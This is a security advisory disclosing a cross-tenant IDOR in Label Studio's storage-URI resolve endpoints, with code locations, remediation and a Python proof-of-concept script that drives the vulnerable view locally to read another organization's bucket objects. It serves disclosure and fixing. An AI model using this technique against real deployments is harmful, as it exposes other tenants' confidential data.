Cross-organization IDOR in storage-URI resolve/proxy endpoints → arbitrary cross-tenant cloud-storage object read

Author: geo-chenCreated Sep 3, 2026Updated Sep 3, 2026

reported on 9 June 2026 - https://github.com/HumanSignal/label-studio/security/advisories/GHSA-8mp9-cpp7-x63q

Summary

GET /tasks/<task_id>/resolve/?fileuri=<b64> and GET /projects/<project_id>/resolve/?fileuri=<b64> fetch the task/project by bare primary key with no organization filter, and the only authz gate (has_permission) is a no-op stub in the Community edition. Any authenticated user from any organization can resolve another tenant's storage objects — and because the URI is only checked for scheme+bucket match (not that the key is referenced by the task), an attacker can read arbitrary objects in the victim's S3/GCS/Azure bucket.

Details

  • io_storages/proxy_api.py:288-307 TaskResolveStorageUri.get(): task = Task.objects.get(pk=task_id) — no org filter.
  • io_storages/proxy_api.py:310-337 ProjectResolveStorageUri.get(): same flaw on project_id.
  • Authz gate: ResolveStorageUriAPIMixin.resolve() (:29) only does if not instance.has_permission(request.user): 403. In Community, TaskMixin.has_permission/ProjectMixin.has_permission (tasks/mixins.py, projects/mixins.py) return True unconditionally (tasks/models.py:362-366). The intended cross-tenant defense is org-scoped querysets (e.g. tasks/api.py:387 Task.objects.filter(project__organization=request.user.active_organization)), which these two endpoints bypass.
  • Escalation: resolve() (:42-62) takes attacker fileuri, matches a storage via get_storage_by_url, and presigns/streams it. can_resolve_url (base_models.py:351-370) only checks scheme+bucket, never that the key belongs to the task → arbitrary-object read within the bucket.

Routes: io_storages/urls.py:197-208 (plus /presign/ aliases).

PoC (validated)

scripts/poc_cross_org_idor.py — drives the real TaskResolveStorageUri view via Django RequestFactory against a migrated DB: attacker in org B reads org A's task storage object, and an arbitrary unreferenced key in the victim bucket, while the org-filtered queryset correctly hides the task. (S3ImportStorage.get_bytes_stream mocked to avoid live AWS; the authorization path runs unmodified.)

Attacker active org == victim org? False
referenced-file: status=200 leaked=True
arbitrary-key:   status=200 leaked=True   (object NOT in task.data)
Org-filtered queryset exposes victim task? False (should be False)

Impact

Any authenticated tenant reads other tenants' task/project data and arbitrary objects in their connected cloud buckets (IDs are sequential/enumerable; bucket names leak via task data/exports). Confidentiality across security authorities (S:C).

Net-new

Distinct from CVE-2025-25297 (SSRF via s3_endpoint in storage creation), CVE-2023-47117 (ORM filter leak in task filtering), CVE-2025-25295 (SDK image traversal). No advisory covers the storage-URI proxy endpoints' missing org-scope.

Remediation

Scope both endpoints by org: get_object_or_404(Task.objects.filter(project__organization=request.user.active_organization), pk=task_id) (and project equivalent), and bind fileuri to keys actually referenced by the task/project.

poc_cross_org_idor.py:


#!/usr/bin/env python3
"""
PoC: cross-org IDOR in label-studio storage-URI resolve endpoints
(label_studio/io_storages/proxy_api.py TaskResolveStorageUri/ProjectResolveStorageUri:
 bare pk lookup, no org filter; Community has_permission() == True).
Setup: python -m venv lsvenv && lsvenv/bin/pip install -e ./label-studio
Run:   DATABASE_NAME=/tmp/ls_poc.sqlite3 lsvenv/bin/python poc_cross_org_idor.py
       (adjust the sys.path.insert below to point at <repo>/label_studio)
"""
import os, sys, base64
sys.path.insert(0, os.path.expanduser("~/Downloads/label-studio/label_studio"))
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "core.settings.label_studio")
os.environ.setdefault("LABEL_STUDIO_BASE_DATA_DIR", "/tmp/ls_poc_data")
os.environ.setdefault("DATABASE_NAME", "/tmp/ls_poc.sqlite3")
os.makedirs("/tmp/ls_poc_data", exist_ok=True)

import django; django.setup()
from django.core.management import call_command
call_command("migrate", run_syncdb=True, verbosity=0)

from django.test import RequestFactory
from unittest import mock
from organizations.models import Organization
from projects.models import Project
from tasks.models import Task
from io_storages.s3.models import S3ImportStorage
from users.models import User
from io_storages.proxy_api import TaskResolveStorageUri

userA = User.objects.create(email="[email protected]")
orgA = Organization.create_organization(created_by=userA, title="OrgA"); userA.active_organization = orgA; userA.save()
projA = Project.objects.create(title="SecretProjA", organization=orgA, created_by=userA)
S3ImportStorage.objects.create(project=projA, bucket="victim-secret-bucket", prefix="", presign=False, title="victimS3")
SECRET = "s3://victim-secret-bucket/confidential/patient-records.json"
taskA = Task.objects.create(project=projA, data={"image": SECRET})

userB = User.objects.create(email="[email protected]")
orgB = Organization.create_organization(created_by=userB, title="OrgB"); userB.active_organization = orgB; userB.save()
print("attacker org == victim org?", userB.active_organization_id == orgA.id)

rf = RequestFactory(); view = TaskResolveStorageUri.as_view()
class FakeStream:
    def iter_chunks(self, chunk_size=None): yield b"TOP-SECRET PATIENT RECORDS (cross-org leak)\n"
def fake_stream(uri, range_header=None):
    return FakeStream(), "application/json", {"StatusCode": 200, "ETag": '"x"'}

def attack(uri, label):
    b64 = base64.urlsafe_b64encode(uri.encode()).decode()
    req = rf.get(f"/tasks/{taskA.id}/resolve/?fileuri={b64}"); req.user = userB
    with mock.patch.object(S3ImportStorage, "get_bytes_stream", side_effect=fake_stream):
        resp = view(req, task_id=taskA.id)
    body = b"".join(resp.streaming_content) if hasattr(resp, "streaming_content") else resp.content
    print(f"[{label}] status={resp.status_code} leaked={resp.status_code==200 and b'TOP-SECRET' in body}")

attack(SECRET, "referenced-file")
attack("s3://victim-secret-bucket/some/OTHER/unreferenced-key.csv", "arbitrary-key")
visible = Task.objects.filter(project__organization=userB.active_organization).filter(pk=taskA.id).exists()
print("org-filtered queryset exposes victim task?", visible, "(should be False)")

v1.24.0.dev0

Source: HumanSignal/label-studio